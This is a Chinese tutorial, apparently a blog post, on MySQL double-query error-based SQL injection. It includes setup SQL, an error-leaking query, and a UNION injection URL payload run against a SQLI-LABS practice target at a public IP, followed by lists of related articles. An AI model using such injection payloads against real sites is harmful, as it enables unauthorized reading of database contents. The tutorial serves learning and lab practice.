一、基础知识  

  开始讲解MYSQL双查询错误之前,我们先了解一下双查询语句以及需要使用到的几个数据库函数和GROUP BY语句

  1. 双查询语句

    先了解一下什么是子查询,子查询就是嵌入第一层select语句中的select语句,比如:

SELECT * FROM score WHERE even_id IN (SELECT even_id FROM grade_event WHERE category = 'T');

功能:该语句实现的是找出与考试类别('T')相对应的所有考试事件行的ID,然后利用它们来查找那些考试的成绩

         双查询语句就是此类使用了两个select的查询语句

   2. 数据库函数和GROUP BY语句

    1)rand() --- 随机数生成函数

    2)floor() --- 向下取整函数

    3)concat()  --- 字符串连接函数

    4)count() --- 统计函数

    5)group by --- 给出分组条件

二、环境搭建

(1)创建数据库
create database injection;
(2)创建表
create table user (
id int,
name varchar(15)
);
(3)往表中插入3条数据
insert into user value(1,'mike');
insert into user value(2,'anna');
insert into user value(3,'andy'); 数据库版本:mysql-5.7.27

三、查询操作

  1. SQL语句

select count(*), concat((select database()), floor(rand()*2)) as a from user group by a;

  2. 执行情况

  3. 操作结果

   可以看到在第二次执行我们的SQL语句时发生了错误,从错误提示中我们获知了数据库的名字:injection.

四、靶场测试

  下面我们利用SQLI-LABS这个SQL注入靶场做一次利用SQL双查询错误进行注入攻击,地址如下:

              http://43.247.91.228:84/Less-5/

  在上面的网址后加入:

?id=1‘ union select 1, count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a --+

  也许是运气好,第一次执行就得到了想要的结果,如下:

  从上图中可以看出,我们已经得到了数据库的名字:security. 接下来可以一步一步构造要注入的SQL语句获取信息,在下

  一篇讲解双查询错误原理后,会讲解如何构造注入语句来获取数据库信息.

MYSQL双查询错误1的更多相关文章

  1. MYSQL双查询错误2

    一.关键点 MYSQL双查询错误之所以产生,有两个关键点: (1)SQL语句中使用GROUP BY语句时会生成临时表: (2)RAND()在查询和存储时生成的随机数有可能不同. 补充:======== ...

  2. MySQL 子查询(三) 派生表、子查询错误

    From MySQL 5.7 ref:13.2.10.8 Derived Tables 八.派生表 派生表是一个表达式,用于在一个查询的FROM子句的范围内生成表. 例如,在一个SELECT查询的FR ...

  3. 利用Keepalived+mysql构建高可用MySQL双主自动切转

    转载:http://www.it300.com/index.php/article-15266.html 关于MySQL-HA,目前有多种解决方案,比如heartbeat.drbd.mmm.共享存储, ...

  4. sql注入--双查询报错注入原理探索

    目录 双查询报错注入原理探索 part 1 场景复现 part 2 形成原因 part 3 报错原理 part 4 探索小结 双查询报错注入原理探索 上一篇讲了双查询报错查询注入,后又参考了一些博客, ...

  5. sql注入--双查询报错注入

    sql注入--双查询报错注入 背景:在sqli-labs第五关时,即使sql语句构造成功页面也没有回显出我们需要的信息,看到了有使用双查询操作造成报错的方式获得数据库信息,于是研究了一下双查询的报错原 ...

  6. Mysql双主加Keepalived+读写分离

    一.MySQL于keepalived简介** 前言: 在企业中,数据库高可用一直是企业的重中之重,中小企业很多都是使用mysql主从方案,一主多从,读写分离等,但是单主存在单点故障,从库切换成主库需要 ...

  7. 使用Keepalived实现MySQL双主高可用

    MySQL双主配置 环境准备: OS: CentOS7 master:192.168.1.10 backup:192.168.1.20 VIP:192.168.1.30 一.安装MySQL数据库. 在 ...

  8. 基于keepalived搭建mysql双主高可用

    目录 概述 环境准备 keepalived搭建 mysql搭建 mysql双主搭建 mysql双主高可用搭建 概述 传统(不借助中间件)的数据库主从搭建,如果主节点挂掉了,从节点只能读取无法写入,只能 ...

  9. 一个月后,我们又从 MySQL 双主切换成了主 - 从!

    这是悟空的第 157 篇原创文章 官网:www.passjava.cn 你好,我是悟空. 一.遇到的坑 一个月前,我们在测试环境部署了一套 MySQL 高可用架构,也就是 MySQL 双主 + Kee ...

随机推荐

  1. 【Docker入门篇】

    " @[toc] 所谓Docker Docker最初是dotCloud公司创始人Solomon Hykes在法国期间发起的一个公司内部项目,于2013年3月以Apache2.0授权协议开源, ...

  2. 10个Spring Boot快速开发的项目,接私活利器(快速、高效)

    本文为大家精选了 码云 上优秀的 Spring Boot 语言开源项目,涵盖了企业级系统框架.文件文档系统.秒杀系统.微服务化系统.后台管理系统等,希望能够给大家带来一点帮助:) 1.项目名称:分布式 ...

  3. Jarvis OJ - class10 -Writeup

    Jarvis OJ - class10 -Writeup 转载请注明出处:http://www.cnblogs.com/WangAoBo/p/7552266.html 题目: Jarivs OJ的一道 ...

  4. IntelliJ IDEA 2017.3尚硅谷-----生成 javadoc

    Locale:输入语言类型:zh_CN Other command line arguments:-encoding UTF-8 -charset UTF-8

  5. APL: ANSYS Power Library

    1. creating accurate switching current waveforms (profiles) 2.output-state dependent decoupling capa ...

  6. app项目中遇到TCP分包,H5端对分包进行拼包

    之前有个需求,由于H5端不支持TCPSocket通信,于是中间搭了个安卓框架作为通信的介质,在开发中遇到一个问题,当后端传一个比较大的数据上来时,一条完整的数据会没有规矩的分成若干个包,每条数据可能不 ...

  7. CentOS 7 下挂载NTFS盘及开机自动挂载

    一.工具 NTFS-3G 二.安装2种安装方式 2.1.yum安装 yum install NTFS* 2.2.编译安装 下载 解压 wget https://tuxera.com/opensourc ...

  8. C# virtual 函数

    C# virtual 是虚拟的含义,在 C# 语言中,默认情况下类中的成员都是非虚拟的,通常将类中的成员定义成虚拟的,表示这些成员将会在继承后重写其中的内容. virtual 关键字能修饰方法.属性. ...

  9. 寒假安卓app开发学习记录(4)

    今天的任务第一个项目运行并部署.没想到第一个环节就出现了错误,运行之后eclipse报错:Errors occurred during the build.Errors running builder ...

  10. Docker - 容器的 连接 与 退出

    概述 连接容器, 退出容器 命令 run exec attach 退出 选项 -i -t -d 1. docker run 概述 docker run 通常用来创建新容器 docker run 的 三 ...